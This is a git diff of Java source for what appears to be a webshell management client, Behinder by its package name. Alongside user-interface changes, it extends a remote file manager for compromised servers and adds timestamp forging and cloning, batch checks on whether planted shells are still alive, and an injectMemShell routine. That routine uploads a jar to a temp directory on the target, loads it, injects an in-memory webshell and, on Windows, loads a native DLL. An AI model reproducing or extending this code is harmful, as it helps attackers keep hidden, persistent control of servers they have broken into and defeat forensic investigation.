+ this.statusLabel.setText(String.format("正在上传……%skb/%skb", bufSize * finali / 1024, fileContent.length / 1024));
}
});
if (statusx.equals("fail")) {
@@ -296,6 +301,8 @@ private void saveFileContent(String pathString) throws UnsupportedEncodingExcept
String msg = resultObj.getString("msg");
Platform.runLater(() -> {
if (status.equals("success")) {
+ this.switchPane("list");
+ this.expandByPathSilent(this.currentPathCombo.getValue().toString());
this.statusLabel.setText("保存成功。");
} else {
this.statusLabel.setText("保存失败:" + msg);
@@ -303,7 +310,6 @@ private void saveFileContent(String pathString) throws UnsupportedEncodingExcept
});
} catch (Exception var6) {
- var6.printStackTrace();
Platform.runLater(() -> {
this.statusLabel.setText("操作失败:" + var6.getMessage());
});
@@ -352,18 +358,35 @@ private String getFullPath(TreeItem currentTreeItem) {
private void initFileListTableColumns() {
ObservableList tcs = this.fileListTableView.getColumns();
+// ((TableColumn)tcs.get(0)).setCellValueFactory(new Callback() {
+// @Override
+// public ObservableValue call(TableColumn.CellDataFeatures data) {
+// List dlist = (List)(data.getValue());
+// StringProperty sp = (StringProperty) dlist.get(0);
+// return sp;
+// }
+// });
((TableColumn)tcs.get(0)).setCellValueFactory((data) -> {
- ObservableValue ov = (ObservableValue)((List)((TableColumn.CellDataFeatures)data).getValue()).get(0);
- return ov;
+ List dlist = ((List)((TableColumn.CellDataFeatures)data).getValue());
+ StringProperty sp = (StringProperty) dlist.get(0);
+ return sp;
+ //return (StringProperty)((List)((TableColumn.CellDataFeatures)data).getValue()).get(0);
+ //return (StringProperty)((List)data.getValue()).get(0);
});
((TableColumn)tcs.get(1)).setCellValueFactory((data) -> {
- return (ObservableValue)((List)((TableColumn.CellDataFeatures)data).getValue()).get(1);
+ return (StringProperty)((List)((TableColumn.CellDataFeatures)data).getValue()).get(1);
+ //return (StringProperty)((List)data.getValue()).get(1);
});
((TableColumn)tcs.get(1)).setComparator((o1, o2) -> {
- return Long.compare(Long.parseLong(String.valueOf(o1)), Long.parseLong(String.valueOf(o2)));
+ return Long.compare(Long.parseLong(o1.toString()), Long.parseLong(o2.toString()));
});
((TableColumn)tcs.get(2)).setCellValueFactory((data) -> {
- return (ObservableValue)((List)((TableColumn.CellDataFeatures)data).getValue()).get(2);
+ return (StringProperty)((List)((TableColumn.CellDataFeatures)data).getValue()).get(2);
+ //return (StringProperty)((List)data.getValue()).get(2);
+ });
+ ((TableColumn)tcs.get(3)).setCellValueFactory((data) -> {
+ return (StringProperty)((List)((TableColumn.CellDataFeatures)data).getValue()).get(4);
+ //return (StringProperty)((List)data.getValue()).get(4);
});
this.fileListTableView.setRowFactory((tv) -> {
TableRow row = new TableRow();
@@ -380,8 +403,9 @@ private void initFileListTableColumns() {
if (type.equals("file")) {
String fileName = path + name;
this.filePathText.setText(fileName);
- this.showFile(fileName, (String)null);
this.switchPane("content");
+ this.fileContentTextArea.clear();
+ this.showFile(fileName, (String)null);
} else if (type.equals("directory")) {
this.expandByPath(path + name);
}
@@ -392,7 +416,8 @@ private void initFileListTableColumns() {
});
this.fileNameCol.setCellFactory((column) -> {
- TableCell tableCell = new TableCell() {
+ return new TableCell() {
+
@Override
protected void updateItem(Object item, boolean empty) {
super.updateItem(item, empty);
@@ -404,34 +429,52 @@ protected void updateItem(Object item, boolean empty) {
try {
type = (String)((StringProperty)((List)this.getTableRow().getItem()).get(3)).get();
- } catch (Exception var7) {
+ } catch (Exception var11) {
return;
}
- Image icon;
if (type.equals("directory")) {
try {
- icon = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/folder.png")));
- this.setGraphic(new ImageView(icon));
- } catch (Exception var6) {
- var6.printStackTrace();
+ Image iconx = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/folder.png")));
+ this.setGraphic(new ImageView(iconx));
+ } catch (Exception var10) {
}
} else if (type.equals("file")) {
try {
- icon = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/file.png")));
- this.setGraphic(new ImageView(icon));
- } catch (Exception var5) {
- var5.printStackTrace();
+ String name = (String)((StringProperty)((List)this.getTableRow().getItem()).get(0)).get();
+ String fileType = Utils.getFileType(name);
+ Image icon = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/filetype/" + fileType + ".png")));
+ ImageView iconViewx = new ImageView(icon);
+ iconViewx.setFitHeight(16.0D);
+ iconViewx.setFitWidth(16.0D);
+ this.setGraphic(iconViewx);
+ } catch (Exception var9) {
+ try {
+ Image iconxx = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/filetype/.png")));
+ ImageView iconView = new ImageView(iconxx);
+ iconView.setFitHeight(16.0D);
+ iconView.setFitWidth(16.0D);
+ this.setGraphic(iconView);
+ } catch (Exception var8) {
+ }
}
}
- String itemStr = item.toString();
- this.setText(itemStr);
+ this.setText(StringUtils.toStringEmpty(item));
}
}
};
- return tableCell;
+ });
+ this.filePermCol.setCellFactory((column) -> {
+ return new TableCell() {
+ @Override
+ protected void updateItem(Object item, boolean empty) {
+ super.updateItem(item, empty);
+ this.setText(StringUtils.toStringEmpty(item));
+ this.setAlignment(Pos.CENTER);
+ }
+ };
});
}
@@ -456,7 +499,6 @@ private TreeItem findTreeItemByPath(Path path) {
try {
icon = new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/folder.png")));
} catch (Exception var10) {
- var10.printStackTrace();
}
for(Iterator var7 = pathParts.iterator(); var7.hasNext(); currentItem.setExpanded(true)) {
@@ -496,7 +538,6 @@ private void insertTreeItems(JSONArray rows, TreeItem currentTreeItem) {
currentTreeItem.getChildren().add(treeItem);
}
} catch (Exception var9) {
- var9.printStackTrace();
}
}
@@ -531,15 +572,21 @@ private void insertFileRows(JSONArray jsonArray) {
String type = new String(Base64.getDecoder().decode(rowObj.getString("type")), "UTF-8");
String name = new String(Base64.getDecoder().decode(rowObj.getString("name")), "UTF-8");
String size = new String(Base64.getDecoder().decode(rowObj.getString("size")), "UTF-8");
+ String perm = "";
+ if (rowObj.has("perm")) {
+ perm = new String(Base64.getDecoder().decode(rowObj.getString("perm")), "UTF-8");
+ }
+
String lastModified = new String(Base64.getDecoder().decode(rowObj.getString("lastModified")));
List row = new ArrayList();
row.add(0, new SimpleStringProperty(name));
row.add(1, new SimpleStringProperty(size));
row.add(2, new SimpleStringProperty(lastModified));
row.add(3, new SimpleStringProperty(type));
+ row.add(4, new SimpleStringProperty(perm));
data.add(row);
- } catch (Exception var10) {
- var10.printStackTrace();
+ } catch (Exception var11) {
+ var11.printStackTrace();
}
}
@@ -547,15 +594,23 @@ private void insertFileRows(JSONArray jsonArray) {
}
private void expandByPath(String pathStr) {
+ this.expandByPathInner(pathStr, false);
+ }
+
+ private void expandByPathSilent(String pathStr) {
+ this.expandByPathInner(pathStr, true);
+ }
+
+ private void expandByPathInner(String pathStr, boolean silent) {
Path path = Paths.get(pathStr).normalize();
pathStr = path.toString().replace("\\", "/");
String pathString = pathStr.endsWith("/") ? pathStr : pathStr + "/";
TreeItem currentTreeItem = this.findTreeItemByPath(path);
- if (!this.currentPathCombo.isFocused()) {
- this.currentPathCombo.setValue(pathString);
+ if (!silent) {
+ this.statusLabel.setText("正在加载目录……");
}
- this.statusLabel.setText("正在加载目录……");
+ this.listStage = Constants.LIST_STAGE_STARTED;
Runnable runner = () -> {
try {
JSONObject resultObj = this.currentShellService.listFiles(pathString);
@@ -564,23 +619,33 @@ private void expandByPath(String pathStr) {
String status = resultObj.getString("status");
String msg = resultObj.getString("msg");
if (status.equals("fail")) {
- this.statusLabel.setText("目录读取失败:" + msg);
+ this.listStage = Constants.LIST_STAGE_FAIL;
+ this.statusLabel.setText("目录读取失败:" + msg.trim());
return;
}
- this.statusLabel.setText("目录加载成功");
+ this.listStage = Constants.LIST_STAGE_DONE;
+ if (!silent) {
+ this.statusLabel.setText("目录加载成功");
+ }
+
+ if (!this.currentPathCombo.isFocused()) {
+ this.currentPathCombo.setValue(pathString);
+ }
+
msg = msg.replace("},]", "}]");
JSONArray objArr = new JSONArray(msg.trim());
this.insertFileRows(objArr);
this.insertTreeItems(objArr, currentTreeItem);
- } catch (Exception var6) {
- this.statusLabel.setText("操作失败:" + var6.getMessage());
+ } catch (Exception var8) {
+ this.listStage = Constants.LIST_STAGE_FAIL;
+ this.statusLabel.setText("操作失败:" + var8.getMessage());
}
this.switchPane("list");
});
- } catch (Exception var4) {
- var4.printStackTrace();
+ } catch (Exception var5) {
+ var5.printStackTrace();
}
};
@@ -590,6 +655,9 @@ private void expandByPath(String pathStr) {
}
private void showFile(String filePath, String charset) {
+ this.statusLabel.setText("正在加载文件内容……");
+ this.switchPane("content");
+ this.fileContentTextArea.clear();
Runnable runner = () -> {
try {
JSONObject resultObj = this.currentShellService.showFile(filePath, charset);
@@ -600,7 +668,7 @@ private void showFile(String filePath, String charset) {
this.statusLabel.setText("文件打开失败:" + msg);
} else {
this.fileContentTextArea.setText(msg);
- this.switchPane("content");
+ this.statusLabel.setText("文件内容加载成功。");
}
});
} catch (Exception var6) {
@@ -643,6 +711,14 @@ private void loadContextMenu() {
createMenu.getItems().add(createFileBtn);
createMenu.getItems().add(createDirectoryBtn);
cm.getItems().add(createMenu);
+ cm.getItems().add(new SeparatorMenuItem());
+ MenuItem changeTimeStampBtn = new MenuItem("修改时间戳");
+ cm.getItems().add(changeTimeStampBtn);
+ changeTimeStampBtn.setOnAction((event) -> {
+ this.showChangeTimeStamp();
+ });
+ MenuItem cloneTimeStampBtn = new MenuItem("克隆时间戳");
+ cm.getItems().add(cloneTimeStampBtn);
this.fileListTableView.setContextMenu(cm);
openBtn.setOnAction((event) -> {
String type = ((StringProperty)((List)this.fileListTableView.getSelectionModel().getSelectedItem()).get(3)).getValue();
@@ -670,7 +746,8 @@ private void loadContextMenu() {
renameBtn.setOnAction((event) -> {
int row = this.fileListTableView.getSelectionModel().getSelectedIndex();
String oldFileName = ((StringProperty)((List)this.fileListTableView.getSelectionModel().getSelectedItem()).get(0)).getValue();
- Alert confirmDialog = new Alert(Alert.AlertType.NONE);
+ Alert confirmDialog = new Alert(AlertType.NONE);
+ confirmDialog.setResizable(true);
confirmDialog.setHeaderText("");
confirmDialog.setTitle("重命名");
Window window = confirmDialog.getDialogPane().getScene().getWindow();
@@ -682,7 +759,7 @@ private void loadContextMenu() {
renameLabel.setAlignment(Pos.BASELINE_CENTER);
TextField renameTxt = new TextField(oldFileName);
renameTxt.setPrefWidth(300.0D);
- panel.getChildren().addAll(renameLabel, renameTxt);
+ panel.getChildren().addAll(new Node[]{renameLabel, renameTxt});
confirmDialog.getDialogPane().setContent(panel);
renameTxt.selectAll();
renameTxt.setOnKeyPressed((keyEvent) -> {
@@ -698,7 +775,8 @@ private void loadContextMenu() {
delBtn.setOnAction((event) -> {
String name = ((StringProperty)((List)this.fileListTableView.getSelectionModel().getSelectedItem()).get(0)).getValue();
String fileFullPath = this.currentPathCombo.getValue().toString() + name;
- Alert confirmDialog = new Alert(Alert.AlertType.CONFIRMATION);
+ Alert confirmDialog = new Alert(AlertType.CONFIRMATION);
+ confirmDialog.setResizable(true);
confirmDialog.setHeaderText("");
confirmDialog.setTitle("删除文件");
confirmDialog.setContentText("确认删除\"" + fileFullPath + "\" ?");
@@ -747,7 +825,8 @@ private void loadContextMenu() {
}
private void createDirectory() {
- Alert inputDialog = new Alert(Alert.AlertType.NONE);
+ Alert inputDialog = new Alert(AlertType.NONE);
+ inputDialog.setResizable(true);
inputDialog.setHeaderText("");
inputDialog.setTitle("新建目录");
Window window = inputDialog.getDialogPane().getScene().getWindow();
@@ -766,7 +845,7 @@ private void createDirectory() {
}
});
- hBox.getChildren().addAll(newDirectoryLabel, newDirectoryTxt);
+ hBox.getChildren().addAll(new Node[]{newDirectoryLabel, newDirectoryTxt});
inputDialog.getDialogPane().setContent(hBox);
newDirectoryTxt.requestFocus();
newDirectoryTxt.selectAll();
@@ -804,7 +883,7 @@ private void doCreateDirectory(String directoryName) {
private void doChangeTimeStamp(String filePath, String createTimeStamp, String modifyTimeStamp, String accessTimeStamp) {
Runnable runner = () -> {
try {
- JSONObject resultObj = this.currentShellService.updateTimeStamp(filePath, createTimeStamp, modifyTimeStamp, accessTimeStamp);
+ JSONObject resultObj = this.currentShellService.updateTimeStamp(filePath, createTimeStamp, accessTimeStamp, modifyTimeStamp);
String status = resultObj.getString("status");
String msg = resultObj.getString("msg");
Platform.runLater(() -> {
@@ -816,6 +895,7 @@ private void doChangeTimeStamp(String filePath, String createTimeStamp, String m
}
});
} catch (Exception var8) {
+ var8.printStackTrace();
Platform.runLater(() -> {
this.statusLabel.setText("操作失败:" + var8.getMessage());
});
@@ -828,7 +908,8 @@ private void doChangeTimeStamp(String filePath, String createTimeStamp, String m
}
private void showChangeTimeStamp() {
- Alert inputDialog = new Alert(Alert.AlertType.NONE);
+ Alert inputDialog = new Alert(AlertType.NONE);
+ inputDialog.setResizable(true);
inputDialog.setHeaderText("");
inputDialog.setTitle("修改时间戳");
Window window = inputDialog.getDialogPane().getScene().getWindow();
@@ -847,13 +928,15 @@ private void showChangeTimeStamp() {
Label fileNameTxtLabel = new Label(name);
Label createTimeLabel = new Label("创建时间:");
TextField createTimeTxt = new TextField();
- Label modifyTimeLabel = new Label("修改时间:");
- TextField modifyTimeTxt = new TextField();
Label accessTimeLabel = new Label("访问时间:");
TextField accessTimeTxt = new TextField();
+ Label modifyTimeLabel = new Label("修改时间:");
+ TextField modifyTimeTxt = new TextField();
HBox buttonBox = new HBox();
Button saveBtn = new Button("保存");
saveBtn.setOnAction((event) -> {
+ this.doChangeTimeStamp(filePath, createTimeTxt.getText(), accessTimeTxt.getText(), modifyTimeTxt.getText());
+ inputDialog.getDialogPane().getScene().getWindow().hide();
});
Button cancelBtn = new Button("取消");
cancelBtn.setOnAction((event) -> {
@@ -861,7 +944,7 @@ private void showChangeTimeStamp() {
});
buttonBox.setSpacing(20.0D);
buttonBox.setAlignment(Pos.CENTER);
- buttonBox.getChildren().addAll(saveBtn, cancelBtn);
+ buttonBox.getChildren().addAll(new Node[]{saveBtn, cancelBtn});
panel.add(fileNameLabel, 0, 0);
panel.add(fileNameTxtLabel, 1, 0);
panel.add(createTimeLabel, 0, 1);
@@ -883,14 +966,17 @@ private void showChangeTimeStamp() {
this.statusLabel.setText(msg);
} else {
JSONObject timeStampObj = new JSONObject(msg);
- String modifyTimeStamp = new String(Base64.getDecoder().decode(timeStampObj.getString("modifyTimeStamp")));
- this.statusLabel.setText(msg);
+ String createTimeStamp = new String(Base64.getDecoder().decode(timeStampObj.getString("createTime")));
+ String accessTimeStamp = new String(Base64.getDecoder().decode(timeStampObj.getString("lastAccessTime")));
+ String modifyTimeStamp = new String(Base64.getDecoder().decode(timeStampObj.getString("lastModifiedTime")));
+ createTimeTxt.setText(createTimeStamp);
+ accessTimeTxt.setText(accessTimeStamp);
modifyTimeTxt.setText(modifyTimeStamp);
}
});
- } catch (Exception var6) {
+ } catch (Exception var8) {
Platform.runLater(() -> {
- this.statusLabel.setText("操作失败:" + var6.getMessage());
+ this.statusLabel.setText("操作失败:" + var8.getMessage());
});
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/MainController.java b/src/main/java/net/rebeyond/behinder/ui/controller/MainController.java
index 33f5bd1..9ffff2b 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/MainController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/MainController.java
@@ -1,12 +1,15 @@
package net.rebeyond.behinder.ui.controller;
+import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.io.ByteArrayInputStream;
+import java.io.File;
import java.net.Authenticator;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.net.URL;
import java.net.Proxy.Type;
+import java.security.SecureRandom;
import java.sql.Timestamp;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
@@ -15,15 +18,17 @@
import java.util.List;
import java.util.Map;
import java.util.Optional;
+import java.util.regex.Pattern;
+import javafx.application.Platform;
import javafx.beans.property.SimpleStringProperty;
import javafx.beans.property.StringProperty;
-import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
+import javafx.scene.Node;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
@@ -34,7 +39,9 @@
import javafx.scene.control.Label;
import javafx.scene.control.MenuItem;
import javafx.scene.control.RadioButton;
+import javafx.scene.control.SelectionMode;
import javafx.scene.control.SeparatorMenuItem;
+import javafx.scene.control.TableCell;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableRow;
import javafx.scene.control.TableView;
@@ -43,16 +50,20 @@
import javafx.scene.control.ToggleGroup;
import javafx.scene.control.TreeItem;
import javafx.scene.control.TreeView;
+import javafx.scene.control.Alert.AlertType;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.Clipboard;
import javafx.scene.input.ClipboardContent;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
+import javafx.stage.FileChooser;
import javafx.stage.Stage;
import javafx.stage.Window;
import net.rebeyond.behinder.core.Constants;
+import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
+import net.rebeyond.behinder.utils.StringUtils;
import net.rebeyond.behinder.utils.Utils;
import org.json.JSONArray;
import org.json.JSONObject;
@@ -63,6 +74,8 @@ public class MainController {
@FXML
private TableView shellListTable;
@FXML
+ private TableColumn idCol;
+ @FXML
private TableColumn urlCol;
@FXML
private TableColumn ipCol;
@@ -75,17 +88,36 @@ public class MainController {
@FXML
private TableColumn addTimeCol;
@FXML
+ private TableColumn statusCol;
+ @FXML
private MenuItem proxySetupBtn;
@FXML
+ private Label checkAliveBtn;
+ @FXML
+ private Label importBtn;
+ @FXML
+ private TextField searchShellTxt;
+ @FXML
private Label statusLabel;
@FXML
private Label versionLabel;
@FXML
+ private Label searchShellLabel;
+ @FXML
private Label proxyStatusLabel;
@FXML
private TreeView catagoryTreeView;
private ShellManager shellManager;
public static Map currentProxy = new HashMap();
+ private int COL_INDEX_URL = 0;
+ private int COL_INDEX_IP = 1;
+ private int COL_INDEX_TYPE = 2;
+ private int COL_INDEX_OS = 3;
+ private int COL_INDEX_COMMENT = 4;
+ private int COL_INDEX_ADDTIME = 5;
+ private int COL_INDEX_STATUS = 6;
+ private int COL_INDEX_ID = 7;
+ private int COL_INDEX_MEMTYPE = 8;
public MainController() {
try {
@@ -106,7 +138,6 @@ public void initialize() {
this.initBottomBar();
this.loadProxy();
} catch (Exception var2) {
- var2.printStackTrace();
}
}
@@ -141,9 +172,19 @@ private void loadProxy() throws Exception {
}
+ private void initIcons() {
+ try {
+ this.searchShellLabel.setGraphic(new ImageView(new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/search.png")))));
+ } catch (Exception var2) {
+ }
+
+ }
+
private void initToolbar() {
+ this.initIcons();
this.proxySetupBtn.setOnAction((event) -> {
- Alert inputDialog = new Alert(Alert.AlertType.NONE);
+ Alert inputDialog = new Alert(AlertType.NONE);
+ inputDialog.setResizable(true);
Window window = inputDialog.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((e) -> {
window.hide();
@@ -162,7 +203,7 @@ private void initToolbar() {
proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
Label typeLabel = new Label("类型:");
ComboBox typeCombo = new ComboBox();
- typeCombo.setItems(FXCollections.observableArrayList("HTTP", "SOCKS"));
+ typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
typeCombo.getSelectionModel().select(0);
Label IPLabel = new Label("IP地址:");
TextField IPText = new TextField();
@@ -203,7 +244,6 @@ private void initToolbar() {
}
} catch (Exception var28) {
this.statusLabel.setText("代理服务器配置加载失败。");
- var28.printStackTrace();
}
saveBtn.setOnAction((e) -> {
@@ -214,7 +254,6 @@ private void initToolbar() {
try {
this.shellManager.updateProxy("default", typeCombo.getSelectionModel().getSelectedItem().toString(), IPText.getText(), PortText.getText(), userNameText.getText(), passwordText.getText(), Constants.PROXY_DISABLE);
} catch (Exception var12) {
- var12.printStackTrace();
}
inputDialog.getDialogPane().getScene().getWindow().hide();
@@ -222,17 +261,16 @@ private void initToolbar() {
try {
this.shellManager.updateProxy("default", typeCombo.getSelectionModel().getSelectedItem().toString(), IPText.getText(), PortText.getText(), userNameText.getText(), passwordText.getText(), Constants.PROXY_ENABLE);
} catch (Exception var13) {
- var13.printStackTrace();
}
String type = null;
if (!userNameText.getText().trim().equals("")) {
final String proxyUser = userNameText.getText().trim();
type = passwordText.getText();
- final String finalString = type;
+ final char[] typeChars = type.toCharArray();
Authenticator.setDefault(new Authenticator() {
public PasswordAuthentication getPasswordAuthentication() {
- return new PasswordAuthentication(proxyUser, finalString.toCharArray());
+ return new PasswordAuthentication(proxyUser, typeChars);
}
});
} else {
@@ -280,6 +318,182 @@ public PasswordAuthentication getPasswordAuthentication() {
inputDialog.getDialogPane().setContent(proxyGridPane);
inputDialog.showAndWait();
});
+ this.checkAliveBtn.setOnMouseClicked((event) -> {
+ Alert alert = new Alert(AlertType.CONFIRMATION);
+ alert.setResizable(true);
+ alert.setHeaderText("");
+ alert.setContentText("请确认是否批量检测网站列表中所有站点的存活状态?");
+ Optional result = alert.showAndWait();
+ if (result.get() != ButtonType.CANCEL) {
+ int[] current = new int[]{0};
+ int total = this.shellListTable.getItems().size();
+ Iterator var6 = this.shellListTable.getItems().iterator();
+
+ while(var6.hasNext()) {
+ Object item = var6.next();
+ Runnable runner = () -> {
+ int shellID = this.getShellID((ArrayList)item);
+ String shellUrl = this.getShellUrl((ArrayList)item);
+ boolean var20 = false;
+
+ int var10002;
+ label133: {
+ try {
+ var20 = true;
+ JSONObject shellEntity = this.shellManager.findShell(shellID);
+ ShellService shellService = new ShellService(shellEntity);
+ boolean isAlive = shellService.doConnect();
+ this.shellManager.setShellStatus(shellID, Constants.SHELL_STATUS_ALIVE);
+ var20 = false;
+ break label133;
+ } catch (Exception var25) {
+ try {
+ this.shellManager.setShellStatus(shellID, Constants.SHELL_STATUS_DEAD);
+ var20 = false;
+ } catch (Exception var23) {
+ var20 = false;
+ }
+ } finally {
+ if (var20) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText(String.format("正在检测:%s(%d/%d)", shellUrl, current[0], total));
+ });
+ synchronized(this) {
+ var10002 = current[0]++;
+ }
+
+ if (current[0] == total) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("全部检测完成。");
+ });
+ }
+
+ }
+ }
+
+ Platform.runLater(() -> {
+ this.statusLabel.setText(String.format("正在检测:%s(%d/%d)", shellUrl, current[0], total));
+ });
+ synchronized(this) {
+ var10002 = current[0]++;
+ }
+
+ if (current[0] == total) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("全部检测完成。");
+ });
+ }
+
+ return;
+ }
+
+ Platform.runLater(() -> {
+ this.statusLabel.setText(String.format("正在检测:%s(%d/%d)", shellUrl, current[0], total));
+ });
+ synchronized(this) {
+ var10002 = current[0]++;
+ }
+
+ if (current[0] == total) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("全部检测完成。");
+ });
+ }
+
+ };
+ Thread workThrad = new Thread(runner);
+ workThrad.start();
+ }
+
+ }
+ });
+ this.searchShellTxt.textProperty().addListener((observable, oldValue, newValue) -> {
+ try {
+ this.shellListTable.getItems().clear();
+ JSONArray shellList = this.shellManager.findShellByUrl(newValue);
+ this.fillShellRows(shellList);
+ } catch (Exception var5) {
+ }
+
+ });
+ this.importBtn.setOnMouseClicked((event) -> {
+ try {
+ this.importData();
+ } catch (Exception var3) {
+ this.statusLabel.setText("导入失败:" + var3.getMessage());
+ }
+
+ });
+ }
+
+ private boolean checkSingleAlive() {
+ return true;
+ }
+
+ private void injectMemShell(int shellID, String type, String path) {
+ Runnable runner = () -> {
+ try {
+ if (!path.startsWith("/")) {
+ Utils.showErrorMessage("错误", "路径必须以\"/\"开头");
+ return;
+ }
+
+ Pattern.compile(path);
+ JSONObject shellEntity = this.shellManager.findShell(shellID);
+ ShellService shellService = new ShellService(shellEntity);
+ shellService.doConnect();
+ String osInfo = shellEntity.getString("os");
+ int osType;
+ String libPath;
+ if (osInfo == null || osInfo.equals("")) {
+ osType = (new SecureRandom()).nextInt(3000);
+ libPath = Utils.getRandomString(osType);
+ JSONObject basicInfoObj = new JSONObject(shellService.getBasicInfo(libPath));
+ osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo")), "UTF-8")).toLowerCase();
+ }
+
+ osType = Utils.getOSType(osInfo);
+ libPath = Utils.getRandomString(6);
+ if (osType == Constants.OS_TYPE_WINDOWS) {
+ libPath = "c:/windows/temp/" + libPath;
+ } else {
+ libPath = "/tmp/" + libPath;
+ }
+
+ shellService.uploadFile(libPath, Utils.getResourceData("net/rebeyond/behinder/resource/tools/tools_" + osType + ".jar"), true);
+ shellService.loadJar(libPath);
+ shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password")));
+
+ try {
+ String memUrl = Utils.getBaseUrl(shellEntity.getString("url")) + path;
+ shellEntity.put("url", (Object)memUrl);
+ int memType = this.getMemTypeFromType(type);
+ shellEntity.put("memType", memType);
+ this.addShell(shellEntity);
+ this.loadShellList();
+ this.shellListTable.getSelectionModel().select(this.shellListTable.getItems().size() - 1);
+ Platform.runLater(() -> {
+ this.statusLabel.setText("注入完成。");
+ });
+ if (osType == Constants.OS_TYPE_WINDOWS) {
+ byte[] nativeLibraryFileContent = Utils.getFileData("/Users/rebeyond/JavaNative.dll");
+ shellService.loadLibraryAndfreeFile(java.util.Base64.getEncoder().encodeToString(nativeLibraryFileContent), libPath);
+ }
+ } catch (Exception var14) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("注入完成,但是shell入库失败:" + var14.getMessage());
+ });
+ }
+ } catch (Exception var15) {
+ var15.printStackTrace();
+ Platform.runLater(() -> {
+ this.statusLabel.setText("注入失败:" + var15.getMessage());
+ });
+ }
+
+ };
+ Thread worker = new Thread(runner);
+ worker.start();
}
private void initCatagoryList() throws Exception {
@@ -294,22 +508,90 @@ private void initShellList() throws Exception {
}
private void initShellTable() throws Exception {
+ this.shellListTable.getSelectionModel().setSelectionMode(SelectionMode.MULTIPLE);
ObservableList tcs = this.shellListTable.getColumns();
- for(int i = 0; i < tcs.size(); ++i) {
- final int finalInt = i;
+ for(int i = 1; i < tcs.size(); ++i) {
+ int j = i - 1;
((TableColumn)tcs.get(i)).setCellValueFactory((data) -> {
- return (ObservableValue)((List)((TableColumn.CellDataFeatures)data).getValue()).get(finalInt);
+ return (StringProperty)((List)((TableColumn.CellDataFeatures)data).getValue()).get(j);
+ //return (StringProperty)((List)data.getValue()).get(j);
});
}
+ this.idCol.setCellFactory((col) -> {
+ TableCell cell = new TableCell() {
+ @Override
+ protected void updateItem(Object item, boolean empty) {
+ super.updateItem(StringUtils.toStringEmpty(item), empty);
+ this.setText((String)null);
+ this.setGraphic((Node)null);
+ if (!empty) {
+ int rowIndex = this.getIndex() + 1;
+ this.setText(String.valueOf(rowIndex));
+ this.setAlignment(Pos.CENTER);
+ }
+
+ }
+ };
+ return cell;
+ });
+ this.statusCol.setCellFactory((col) -> {
+ TableCell cell = new TableCell() {
+
+ @Override
+ protected void updateItem(Object item, boolean empty) {
+ super.updateItem(StringUtils.toStringEmpty(item), empty);
+ if (empty) {
+ this.setGraphic((Node)null);
+ } else {
+ Object rowItem = this.getTableRow().getItem();
+ if (rowItem == null) {
+ this.setGraphic((Node)null);
+ } else {
+ try {
+ String memType = ((StringProperty)((List)this.getTableRow().getItem()).get(MainController.this.COL_INDEX_MEMTYPE)).getValue();
+ String iconPath = null;
+ if (item.equals("0")) {
+ if (memType.equals("0")) {
+ iconPath = "net/rebeyond/behinder/resource/alive.png";
+ } else {
+ iconPath = "net/rebeyond/behinder/resource/memshell_alive.png";
+ }
+ } else if (item.equals("1")) {
+ if (memType.equals("0")) {
+ iconPath = "net/rebeyond/behinder/resource/dead.png";
+ } else {
+ iconPath = "net/rebeyond/behinder/resource/memshell_dead.png";
+ }
+ }
+
+ Image image = new Image(new ByteArrayInputStream(Utils.getResourceData(iconPath)));
+ this.setGraphic(new ImageView(image));
+ this.setAlignment(Pos.CENTER);
+ } catch (Exception var7) {
+ var7.printStackTrace();
+ this.setText(StringUtils.toStringEmpty(item));
+ }
+
+ }
+ }
+ }
+ };
+ return cell;
+ });
this.shellListTable.setRowFactory((tv) -> {
TableRow row = new TableRow();
row.setOnMouseClicked((event) -> {
if (event.getClickCount() == 2 && !row.isEmpty()) {
- String url = ((StringProperty)((List)row.getItem()).get(0)).getValue();
- String shellID = ((StringProperty)((List)row.getItem()).get(6)).getValue();
- this.openShell(url, shellID);
+ String url = ((StringProperty)((List)row.getItem()).get(this.COL_INDEX_URL)).getValue();
+ String shellID = ((StringProperty)((List)row.getItem()).get(this.COL_INDEX_ID)).getValue();
+
+ try {
+ this.openShell(url, shellID);
+ } catch (Exception var6) {
+ this.statusLabel.setText("shell打开失败。");
+ }
}
});
@@ -321,7 +603,7 @@ private boolean checkUrl(String urlString) {
try {
new URL(urlString.trim());
return true;
- } catch (Exception var4) {
+ } catch (Exception var3) {
this.showErrorMessage("错误", "URL格式错误");
return false;
}
@@ -340,7 +622,8 @@ private boolean checkPassword(String password) {
}
private void showShellDialog(int shellID) throws Exception {
- Alert alert = new Alert(Alert.AlertType.NONE);
+ Alert alert = new Alert(AlertType.NONE);
+ alert.setResizable(true);
